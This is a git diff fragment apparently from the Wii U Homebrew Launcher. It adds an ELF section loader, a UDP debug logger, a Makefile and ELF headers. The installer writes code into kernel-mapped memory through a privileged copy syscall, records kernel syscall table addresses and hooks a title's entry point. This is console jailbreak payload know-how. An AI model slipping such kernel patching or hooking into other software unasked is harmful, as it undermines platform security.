static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found)
|
||||||
|
{
|
||||||
|
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
|
||||||
|
|
||||||
|
if ( !data
|
||||||
|
|| !IS_ELF (*ehdr)
|
||||||
|
|| (ehdr->e_type != ET_EXEC)
|
||||||
|
|| (ehdr->e_machine != EM_PPC))
|
||||||
|
{
|
||||||
|
ExitFailure(private_data, "Invalid elf file");
|
||||||
|
}
|
||||||
|
|
||||||
|
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
|
||||||
|
int i;
|
||||||
|
for(i = 0; i < ehdr->e_shnum; i++)
|
||||||
|
{
|
||||||
|
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
|
||||||
|
if(strcmp(section_name, name) == 0)
|
||||||
|
{
|
||||||
|
if(addr)
|
||||||
|
*addr = shdr[i].sh_addr;
|
||||||
|
if(size)
|
||||||
|
*size = shdr[i].sh_size;
|
||||||
|
return shdr[i].sh_offset;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(fail_on_not_found)
|
||||||
|
ExitFailure(private_data, (char*)name);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ****************************************************************** */
|
||||||
|
/* INSTALL MAIN CODE */
|
||||||
|
/* ****************************************************************** */
|
||||||
|
static void InstallMain(private_data_t *private_data)
|
||||||
|
{
|
||||||
|
// get .text section
|
||||||
|
unsigned int main_text_addr = 0;
|
||||||
|
unsigned int main_text_len = 0;
|
||||||
|
unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1);
|
||||||
|
unsigned char *main_text = private_data->data_elf + section_offset;
|
||||||
|
/* Copy main .text to memory */
|
||||||
|
if(section_offset > 0)
|
||||||
|
SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len);
|
||||||
|
|
||||||
|
// get the .rodata section
|
||||||
|
unsigned int main_rodata_addr = 0;
|
||||||
|
unsigned int main_rodata_len = 0;
|
||||||
|
section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
|
||||||
|
if(section_offset > 0)
|
||||||
|
{
|
||||||
|
unsigned char *main_rodata = private_data->data_elf + section_offset;
|
||||||
|
/* Copy main rodata to memory */
|
||||||
|
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the .data section
|
||||||
|
unsigned int main_data_addr = 0;
|
||||||
|
unsigned int main_data_len = 0;
|
||||||
|
section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0);
|
||||||
|
if(section_offset > 0)
|
||||||
|
{
|
||||||
|
unsigned char *main_data = private_data->data_elf + section_offset;
|
||||||
|
/* Copy main data to memory */
|
||||||
|
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the .bss section
|
||||||
|
unsigned int main_bss_addr = 0;
|
||||||
|
unsigned int main_bss_len = 0;
|
||||||
|
section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
|
||||||
|
if(section_offset > 0)
|
||||||
|
{
|
||||||
|
unsigned char *main_bss = private_data->data_elf + section_offset;
|
||||||
|
/* Copy main data to memory */
|
||||||
|
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ****************************************************************** */
|
||||||
|
/* INSTALL PATCHES */
|
||||||
|
/* All OS specific stuff is done here */
|
||||||
|
/* ****************************************************************** */
|
||||||
|
static void InstallPatches(private_data_t *private_data)
|
||||||
|
{
|
||||||
|
OsSpecifics osSpecificFunctions;
|
||||||
|
private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics));
|
||||||
|
|
||||||
|
unsigned int bufferU32;
|
||||||
|
/* Pre-setup a few options to defined values */
|
||||||
|
bufferU32 = VER;
|
||||||
|
SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32));
|
||||||
|
bufferU32 = 0xDEADC0DE;
|
||||||
|
SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32));
|
||||||
|
SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32));
|
||||||
|
bufferU32 = 0;
|
||||||
|
SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32));
|
||||||
|
|
||||||
|
unsigned int jump_main_hook = 0;
|
||||||
|
osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;
|
||||||
|
osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;
|
||||||
|
|
||||||
|
osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;
|
||||||
|
osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;
|
||||||
|
osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;
|
||||||
|
osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;
|
||||||
|
osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;
|
||||||
|
//! pointer to main entry point of a title
|
||||||
|
osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;
|
||||||
|
|
||||||
|
SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics));
|
||||||
|
|
||||||
|
//! at this point we dont need to check header and stuff as it is sure to be OK
|
||||||
|
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf;
|
||||||
|
unsigned int mainEntryPoint = ehdr->e_entry;
|
||||||
|
|
||||||
|
//! Install our entry point hook
|
||||||
|
unsigned int repl_addr = ADDRESS_main_entry_hook;
|
||||||
|
unsigned int jump_addr = mainEntryPoint & 0x03fffffc;
|
||||||
|
bufferU32 = 0x48000003 | jump_addr;
|
||||||
|
SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32));
|
||||||
|
// flush caches and invalidate instruction cache
|
||||||
|
private_data->ICInvalidateRange((void*)(repl_addr), 4);
|
||||||
|
}
|
74
installer/logger.c
Normal file
74
installer/logger.c
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
#include <stdarg.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include "common/common.h"
|
||||||
|
#include "dynamic_libs/socket_functions.h"
|
||||||
|
#include "logger.h"
|
||||||
|
|
||||||
|
static int log_socket = 0;
|
||||||
|
|
||||||
|
|
||||||
|
void log_init(void)
|
||||||
|
{
|
||||||
|
if(log_socket > 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||||
|
if (log_socket < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
struct sockaddr_in connect_addr;
|
||||||
|
memset(&connect_addr, 0, sizeof(connect_addr));
|
||||||
|
connect_addr.sin_family = AF_INET;
|
||||||
|
connect_addr.sin_port = 4405;
|
||||||
|
inet_aton("192.168.0.44", &connect_addr.sin_addr);
|
||||||
|
|
||||||
|
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
|
||||||
|
{
|
||||||
|
socketclose(log_socket);
|
||||||
|
log_socket = -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void log_print(const char *str)
|
||||||
|
{
|
||||||
|
// socket is always 0 initially as it is in the BSS
|
||||||
|
if(log_socket <= 0) {
|
||||||
|
log_init();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int len = strlen(str);
|
||||||
|
int ret;
|
||||||
|
while (len > 0) {
|
||||||
|
ret = send(log_socket, str, len, 0);
|
||||||
|
if(ret < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
len -= ret;
|
||||||
|
str += ret;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void log_printf(const char *format, ...)
|
||||||
|
{
|
||||||
|
if(log_socket <= 0) {
|
||||||
|
log_init();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
char * tmp = NULL;
|
||||||
|
|
||||||
|
va_list va;
|
||||||
|
va_start(va, format);
|
||||||
|
if((vasprintf(&tmp, format, va) >= 0) && tmp)
|
||||||
|
{
|
||||||
|
log_print(tmp);
|
||||||
|
}
|
||||||
|
va_end(va);
|
||||||
|
|
||||||
|
if(tmp)
|
||||||
|
free(tmp);
|
||||||
|
}
|
86
installer/logger.h
Normal file
86
installer/logger.h
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
#ifndef __LOGGER_H_
|
||||||
|
#define __LOGGER_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Communication bytes with the server */
|
||||||
|
// Com
|
||||||
|
#define BYTE_NORMAL 0xff
|
||||||
|
#define BYTE_SPECIAL 0xfe
|
||||||
|
#define BYTE_OK 0xfd
|
||||||
|
#define BYTE_PING 0xfc
|
||||||
|
#define BYTE_LOG_STR 0xfb
|
||||||
|
#define BYTE_DISCONNECT 0xfa
|
||||||
|
|
||||||
|
// SD
|
||||||
|
#define BYTE_MOUNT_SD 0xe0
|
||||||
|
#define BYTE_MOUNT_SD_OK 0xe1
|
||||||
|
#define BYTE_MOUNT_SD_BAD 0xe2
|
||||||
|
|
||||||
|
// Replacement
|
||||||
|
#define BYTE_STAT 0x00
|
||||||
|
#define BYTE_STAT_ASYNC 0x01
|
||||||
|
#define BYTE_OPEN_FILE 0x02
|
||||||
|
#define BYTE_OPEN_FILE_ASYNC 0x03
|
||||||
|
#define BYTE_OPEN_DIR 0x04
|
||||||
|
#define BYTE_OPEN_DIR_ASYNC 0x05
|
||||||
|
#define BYTE_CHANGE_DIR 0x06
|
||||||
|
#define BYTE_CHANGE_DIR_ASYNC 0x07
|
||||||
|
#define BYTE_MAKE_DIR 0x08
|
||||||
|
#define BYTE_MAKE_DIR_ASYNC 0x09
|
||||||
|
#define BYTE_RENAME 0x0A
|
||||||
|
#define BYTE_RENAME_ASYNC 0x0B
|
||||||
|
#define BYTE_REMOVE 0x0C
|
||||||
|
#define BYTE_REMOVE_ASYNC 0x0D
|
||||||
|
|
||||||
|
// Log
|
||||||
|
#define BYTE_CLOSE_FILE 0x40
|
||||||
|
#define BYTE_CLOSE_FILE_ASYNC 0x41
|
||||||
|
#define BYTE_CLOSE_DIR 0x42
|
||||||
|
#define BYTE_CLOSE_DIR_ASYNC 0x43
|
||||||
|
#define BYTE_FLUSH_FILE 0x44
|
||||||
|
#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45
|
||||||
|
#define BYTE_GET_LAST_ERROR 0x46
|
||||||
|
#define BYTE_GET_MOUNT_SOURCE 0x47
|
||||||
|
#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48
|
||||||
|
#define BYTE_GET_POS_FILE 0x49
|
||||||
|
#define BYTE_SET_POS_FILE 0x4A
|
||||||
|
#define BYTE_GET_STAT_FILE 0x4B
|
||||||
|
#define BYTE_EOF 0x4C
|
||||||
|
#define BYTE_READ_FILE 0x4D
|
||||||
|
#define BYTE_READ_FILE_ASYNC 0x4E
|
||||||
|
#define BYTE_READ_FILE_WITH_POS 0x4F
|
||||||
|
#define BYTE_READ_DIR 0x50
|
||||||
|
#define BYTE_READ_DIR_ASYNC 0x51
|
||||||
|
#define BYTE_GET_CWD 0x52
|
||||||
|
#define BYTE_SET_STATE_CHG_NOTIF 0x53
|
||||||
|
#define BYTE_TRUNCATE_FILE 0x54
|
||||||
|
#define BYTE_WRITE_FILE 0x55
|
||||||
|
#define BYTE_WRITE_FILE_WITH_POS 0x56
|
||||||
|
|
||||||
|
#define BYTE_SAVE_INIT 0x57
|
||||||
|
#define BYTE_SAVE_SHUTDOWN 0x58
|
||||||
|
#define BYTE_SAVE_INIT_SAVE_DIR 0x59
|
||||||
|
#define BYTE_SAVE_FLUSH_QUOTA 0x5A
|
||||||
|
#define BYTE_SAVE_OPEN_DIR 0x5B
|
||||||
|
#define BYTE_SAVE_REMOVE 0x5C
|
||||||
|
|
||||||
|
#define BYTE_CREATE_THREAD 0x60
|
||||||
|
|
||||||
|
|
||||||
|
int logger_connect(int *socket);
|
||||||
|
void logger_disconnect(int socket);
|
||||||
|
void log_string(int sock, const char* str, char byte);
|
||||||
|
void log_byte(int sock, char byte);
|
||||||
|
|
||||||
|
void log_init(void);
|
||||||
|
void log_print(const char *str);
|
||||||
|
void log_printf(const char *format, ...);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
32
installer/structs.h
Normal file
32
installer/structs.h
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
#ifndef STRUCTS_H
|
||||||
|
#define STRUCTS_H
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
unsigned char *data;
|
||||||
|
int len;
|
||||||
|
int alloc_size;
|
||||||
|
void* (*memcpy)(void * dest, const void * src, int num);
|
||||||
|
} file_struct_t;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
unsigned char *data_elf;
|
||||||
|
unsigned int coreinit_handle;
|
||||||
|
/* function pointers */
|
||||||
|
void* (*memcpy)(void * dest, const void * src, int num);
|
||||||
|
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
|
||||||
|
void* (*OSEffectiveToPhysical)(const void*);
|
||||||
|
void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
|
||||||
|
void (*MEMFreeToDefaultHeap)(void *ptr);
|
||||||
|
void (*DCFlushRange)(const void *addr, unsigned int length);
|
||||||
|
void (*ICInvalidateRange)(const void *addr, unsigned int length);
|
||||||
|
void (*_Exit)(void);
|
||||||
|
|
||||||
|
void* (*curl_easy_init)(void);
|
||||||
|
void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op);
|
||||||
|
int (*curl_easy_perform)(void *handle);
|
||||||
|
void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op);
|
||||||
|
void (*curl_easy_cleanup)(void *handle);
|
||||||
|
} private_data_t;
|
||||||
|
|
||||||
|
|
||||||
|
#endif // STRUCTS_H
|
22
installer/types.h
Normal file
22
installer/types.h
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
#ifndef TYPES_H
|
||||||
|
#define TYPES_H
|
||||||
|
|
||||||
|
typedef unsigned long long uint64_t;
|
||||||
|
typedef long long int64_t;
|
||||||
|
typedef unsigned int uint32_t;
|
||||||
|
typedef int int32_t;
|
||||||
|
typedef unsigned short uint16_t;
|
||||||
|
typedef short int16_t;
|
||||||
|
typedef unsigned char uint8_t;
|
||||||
|
typedef char int8_t;
|
||||||
|
|
||||||
|
typedef uint32_t size_t;
|
||||||
|
|
||||||
|
typedef _Bool bool;
|
||||||
|
#define true 1
|
||||||
|
#define false 0
|
||||||
|
#define null 0
|
||||||
|
|
||||||
|
#define NULL (void*)0
|
||||||
|
|
||||||
|
#endif /* TYPES_H */
|
@ -2,8 +2,8 @@
|
|||||||
<app version="1">
|
<app version="1">
|
||||||
<name>Homebrew Launcher</name>
|
<name>Homebrew Launcher</name>
|
||||||
<coder>Dimok</coder>
|
<coder>Dimok</coder>
|
||||||
<version>2.1</version>
|
<version>1.2</version>
|
||||||
<release_date>20161120270000</release_date>
|
<release_date>20160402210000</release_date>
|
||||||
<short_description>WiiU Homebrew Launcher</short_description>
|
<short_description>WiiU Homebrew Launcher</short_description>
|
||||||
<long_description>Loads WiiU homebrew from SD card and from network.
|
<long_description>Loads WiiU homebrew from SD card and from network.
|
||||||
|
|
||||||
|
178
sd_loader/Makefile
Normal file
178
sd_loader/Makefile
Normal file
@ -0,0 +1,178 @@
|
|||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# Clear the implicit built in rules
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
.SUFFIXES:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(DEVKITPPC)),)
|
||||||
|
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
|
||||||
|
endif
|
||||||
|
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
|
||||||
|
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
|
||||||
|
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
|
||||||
|
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
|
||||||
|
|
||||||
|
PREFIX := powerpc-eabi-
|
||||||
|
|
||||||
|
export AS := $(PREFIX)as
|
||||||
|
export CC := $(PREFIX)gcc
|
||||||
|
export CXX := $(PREFIX)g++
|
||||||
|
export AR := $(PREFIX)ar
|
||||||
|
export OBJCOPY := $(PREFIX)objcopy
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# TARGET is the name of the output
|
||||||
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
|
# SOURCES is a list of directories containing source code
|
||||||
|
# INCLUDES is a list of directories containing extra header files
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
TARGET := sd_loader
|
||||||
|
BUILD := build
|
||||||
|
BUILD_DBG := $(TARGET)_dbg
|
||||||
|
SOURCES := src
|
||||||
|
DATA :=
|
||||||
|
INCLUDES :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# options for code generation
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \
|
||||||
|
-Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||||
|
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||||
|
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||||
|
ASFLAGS := -mregnames
|
||||||
|
LDFLAGS := -nostartfiles -Wl,--gc-sections
|
||||||
|
|
||||||
|
Q := @
|
||||||
|
MAKEFLAGS += --no-print-directory
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# any extra libraries we wish to link with the project
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBS :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# list of directories containing libraries, this must be the top level containing
|
||||||
|
# include and lib
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBDIRS := $(CURDIR) \
|
||||||
|
$(DEVKITPPC)/lib \
|
||||||
|
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# no real need to edit anything past this point unless you need to add additional
|
||||||
|
# rules for different file extensions
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export PROJECTDIR := $(CURDIR)
|
||||||
|
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
|
||||||
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||||
|
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# automatically build a list of object files for our project
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
|
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
|
||||||
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||||
|
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
|
||||||
|
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(CPPFILES)),)
|
||||||
|
export LD := $(CC)
|
||||||
|
else
|
||||||
|
export LD := $(CXX)
|
||||||
|
endif
|
||||||
|
|
||||||
|
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
|
||||||
|
$(sFILES:.s=.o) $(SFILES:.S=.o) \
|
||||||
|
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# build a list of include paths
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
|
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
|
||||||
|
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# build a list of library paths
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
|
||||||
|
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
|
||||||
|
|
||||||
|
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||||
|
.PHONY: $(BUILD) clean install
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(BUILD):
|
||||||
|
@[ -d $@ ] || mkdir -p $@
|
||||||
|
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
@echo clean ...
|
||||||
|
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
|
||||||
|
DEPENDS := $(OFILES:.o=.d)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# main targets
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(OUTPUT).elf: $(OFILES)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# This rule links in binary data with the .jpg extension
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.elf: link.ld $(OFILES)
|
||||||
|
@echo "linking ... $(TARGET).elf"
|
||||||
|
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
|
||||||
|
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.a:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
@echo $(notdir $@)
|
||||||
|
@rm -f $@
|
||||||
|
@$(AR) -rc $@ $^
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.cpp
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.c
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.S
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.png.o : %.png
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.ttf.o : %.ttf
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
|
-include $(DEPENDS)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------
|
591
sd_loader/src/elf_abi.h
Normal file
591
sd_loader/src/elf_abi.h
Normal file
@ -0,0 +1,591 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (c) 1995, 1996, 2001, 2002
|
||||||
|
* Erik Theisen. All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
* 3. The name of the author may not be used to endorse or promote products
|
||||||
|
* derived from this software without specific prior written permission
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This is the ELF ABI header file
|
||||||
|
* formerly known as "elf_abi.h".
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _ELF_ABI_H
|
||||||
|
#define _ELF_ABI_H
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This version doesn't work for 64-bit ABIs - Erik.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* These typedefs need to be handled better.
|
||||||
|
*/
|
||||||
|
typedef unsigned int Elf32_Addr; /* Unsigned program address */
|
||||||
|
typedef unsigned int Elf32_Off; /* Unsigned file offset */
|
||||||
|
typedef signed int Elf32_Sword; /* Signed large integer */
|
||||||
|
typedef unsigned int Elf32_Word; /* Unsigned large integer */
|
||||||
|
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
|
||||||
|
|
||||||
|
/* e_ident[] identification indexes */
|
||||||
|
#define EI_MAG0 0 /* file ID */
|
||||||
|
#define EI_MAG1 1 /* file ID */
|
||||||
|
#define EI_MAG2 2 /* file ID */
|
||||||
|
#define EI_MAG3 3 /* file ID */
|
||||||
|
#define EI_CLASS 4 /* file class */
|
||||||
|
#define EI_DATA 5 /* data encoding */
|
||||||
|
#define EI_VERSION 6 /* ELF header version */
|
||||||
|
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
|
||||||
|
#define EI_ABIVERSION 8 /* ABI target version */
|
||||||
|
#define EI_PAD 9 /* start of pad bytes */
|
||||||
|
#define EI_NIDENT 16 /* Size of e_ident[] */
|
||||||
|
|
||||||
|
/* e_ident[] magic number */
|
||||||
|
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
|
||||||
|
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
|
||||||
|
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
|
||||||
|
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
|
||||||
|
#define ELFMAG "\177ELF" /* magic */
|
||||||
|
#define SELFMAG 4 /* size of magic */
|
||||||
|
|
||||||
|
/* e_ident[] file class */
|
